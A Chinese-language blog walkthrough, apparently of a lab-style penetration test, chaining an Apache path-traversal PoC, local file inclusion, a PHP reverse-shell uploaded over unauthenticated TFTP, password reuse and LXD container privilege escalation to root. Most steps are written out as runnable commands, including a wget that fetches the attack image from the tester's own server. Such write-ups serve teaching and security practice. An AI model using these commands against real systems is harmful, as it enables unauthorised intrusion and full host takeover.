本地文件包含漏洞利用

前期信息收集

拿到目标的资产,先试一下IP能不能访问
在这里插入图片描述

探测一下目标的端口运行的是什么服务

nmap -sC -sV xx.xx9.95.185 -Pn

在这里插入图片描述

获取网站权限

我们可以知道目标的80端口上运行着http服务,服务器是ubuntu,,中间件是apache/2.4.29,语言可能用的是PHP的,还有一个信息资产

访问信息资产http://xx.xxx.95.185/?file=home.php,发现可以访问
在这里插入图片描述

收集一下这个网站的信息
在这里插入图片描述

点一下这些功能键,看看有什么作用,发现没有什么用
在这里插入图片描述

这下子,我们只能去查一下apache/2.4.29有什么漏洞
在这里插入图片描述

一个个翻,发现他可能存在文件包含和远程命令执行的漏洞

https://www.exploit-db.com/exploits/50383

在这里插入图片描述

试一下POC,/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2
在这里插入图片描述

返回了404报错页面,我们试一下其它的POC,/etc/passwd
在这里插入图片描述

说明存在文件包含漏洞,我们看一下能不能读取一下其它的敏感文件

curl 'http://xx.xxx.138.134/?file=home.php'

这个代码能直接在命令行查看网页源代码
http://xx.xxx.138.134/?file=phpinfo.php,是空白的,表示系统上没有这个文件
在这里插入图片描述

我们回过头继续去看/etc/passwd,发现了tftp,这个好像是传输协议,我们去搜索一下
在这里插入图片描述

发现确实是传输协议,而且还是文件传输协议,去搜索一下,看看这个协议之前有没有出过漏洞
http://blog.iis7.com/article/15496.html
这篇文章示例,我们参考一下

tftp使用的是udp协议,默认端口是69,我们使用nmap扫描一下udp端口,看一下

nmap -sU IP地址

在这里插入图片描述

扫描出存在69端口,说明服务器有使用tftp传输协议,前面nmap没有扫描到,是因为前面检测的是TCP的端口,UDP这块没有检测到

我们接下来用tftp软件去连接UDP 69端口,查看一下tftp的帮助文件,了解一下这个简单文件传输协议都有什么命令

apt install tftp
man tftp

在这里插入图片描述

因为tftp协议是不校验账号密码的,所以我们可以直接使用这个协议把木马文件上传上去,我们现在的想法是把shell脚本给上传上去,因为我们前面通过信息收集知道这个服务器有使用php语言的环境,所以我们上传的是PHP语言的木马,下面这个是反向shell木马的部分内容
在这里插入图片描述

$ip指的是我们公网服务器连接内网目标主机的端口IP
$port指的是我们公网服务器运行NC监听的端口
先获取我们的公网服务器IP地址

在这里插入图片描述

在root目录下创建shell.php,并且内容如下
在这里插入图片描述

连接tftp协议,上传反向shell.php脚本
在这里插入图片描述

现在文件上传成功,我们需要在本地开启nc监听端口,接收传回来的信息

nc -lnvp 334

在这里插入图片描述

因为这个网站存在文件包含漏洞,所以我们可以访问我们上传上去的反向shell文件,触发木马文件,以进行连接;我们通过前面的etc/passwd文件,知道我们上传上去的文件是保存在/var/lib/tftpboot

上命令,成功访问到该文件

curl 'http://xx.xxx.95.185/?file=/var/lib/tftpboot/shell.php'

在这里插入图片描述

收到反弹shell
在这里插入图片描述

返回200,说明文件存在
在这里插入图片描述

在shell里面输入命令,查看一下系统文件

ls

在这里插入图片描述

uname -a

查看服务器的操作系统信息
在这里插入图片描述

whoami

看一下我们当前的角色
在这里插入图片描述

我们需要进行提权,但是我们收到命令界面不是完全交互式的,我们输入下面命令,让我们更好操作一点

python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

获取服务器权限

提权的最好方式就是去寻找服务器上有没有存放账号密码的地方,而这个地方通常是web服务器目录下面,通过passwd文件,我们知道web服务器目录存放在var/www,我们去这个目录下面看看
在这里插入图片描述

确实是web目录,我们进入网站源代码下面去看看,发现了一个可能存放账号密码的文件
在这里插入图片描述

我们打开看看

cat .htpasswd

在这里插入图片描述

这是一个网站的账号密码并且通过passwd,我们知道服务器有一个账号名是mike的,并且权限要比www-data大
看一下另外一个隐藏文件夹

cat .htaccess

在这里插入图片描述

一般来说账号的密码都是通用的,我们可以试着登一下服务器mike的账号

su mike

在这里插入图片描述

登录成功
查看一下这个账号的权限和组

id
groups

在这里插入图片描述

纵向提权

lxd是什么,不知道,我们去搜索一下

https://blog.csdn.net/yaxuan88521/article/details/128065158
https://www.freebuf.com/articles/system/216803.html

Linux Container(LXC)通常被认为是一种轻量级虚拟化技术,它介于Chroot和完整开发的虚拟机之间,LXC可以创建一个跟正常Linux操作系统十分接近的环境,但是不需要使用到单独的内核资源。

Linux Daemon(LXD)是一个轻量级容器管理程序,而LXD是基于LXC容器技术实现的,而这种技术之前Docker也使用过。LXD使用了稳定的LXC API来完成所有的后台容器管理工作,并且增加了REST API支持,更进一步地提升了用户体验度。

通过网上去了解lxd,我们知道LXD是一个轻量级容器管理程序,这个程序存在漏洞,可以用来提权,我们参考FB复现一波
先从GitHub库下载构建好的Alpine:

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

上面的命令运行完,是下面这个结果
在这里插入图片描述

之后我们需要将tar.gz文件发送至目标系统,我这边选择的是2021版本

python -m http.server

在这里插入图片描述

cd /tmp
wget http://xx.xx.15.157:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz

在这里插入图片描述

镜像构建完成之后,我们就可以将其以镜像的形式添加进LXD

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage

在这里插入图片描述

使用“list”命令即可检查可用的容器列表

lxc image list

在这里插入图片描述

进入容器之后,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后,我们将得到一个特殊的Shell,也就是容器的Shell。这个容器中包含了目标主机的全部资源

lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
Id

在这里插入图片描述

提权成功

cd /mnt/root/root

在这里插入图片描述

cd /mnt/root/

在这里插入图片描述

相关推荐

  1. 文件包含漏洞讲解

    2024-03-17 01:12:01       39 阅读
  2. 文件包含漏洞

    2024-03-17 01:12:01       31 阅读
  3. 初探文件包含漏洞

    2024-03-17 01:12:01       21 阅读
  4. Xss文件包含漏洞

    2024-03-17 01:12:01       19 阅读

最近更新

  1. TCP协议是安全的吗?

    2024-03-17 01:12:01       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-03-17 01:12:01       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-03-17 01:12:01       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-03-17 01:12:01       20 阅读

热门阅读

  1. 一文解读ISO26262安全标准:术语(二)

    2024-03-17 01:12:01       19 阅读
  2. linux系统kubernetes概念

    2024-03-17 01:12:01       20 阅读
  3. MySQL建表以及excel内容导入

    2024-03-17 01:12:01       16 阅读
  4. 什么是面向对象

    2024-03-17 01:12:01       18 阅读
  5. 数字电子技术实验(三)

    2024-03-17 01:12:01       23 阅读
  6. 【820复试】数据结构面试问题

    2024-03-17 01:12:01       17 阅读
  7. 使用 mapstructure 解析 json

    2024-03-17 01:12:01       21 阅读
  8. Linux 学习笔记(17

    2024-03-17 01:12:01       18 阅读
  9. 【Flask开发实战】防火墙配置文件解析(一)

    2024-03-17 01:12:01       18 阅读
  10. 中电金信:我们为什么需要单元化架构?

    2024-03-17 01:12:01       20 阅读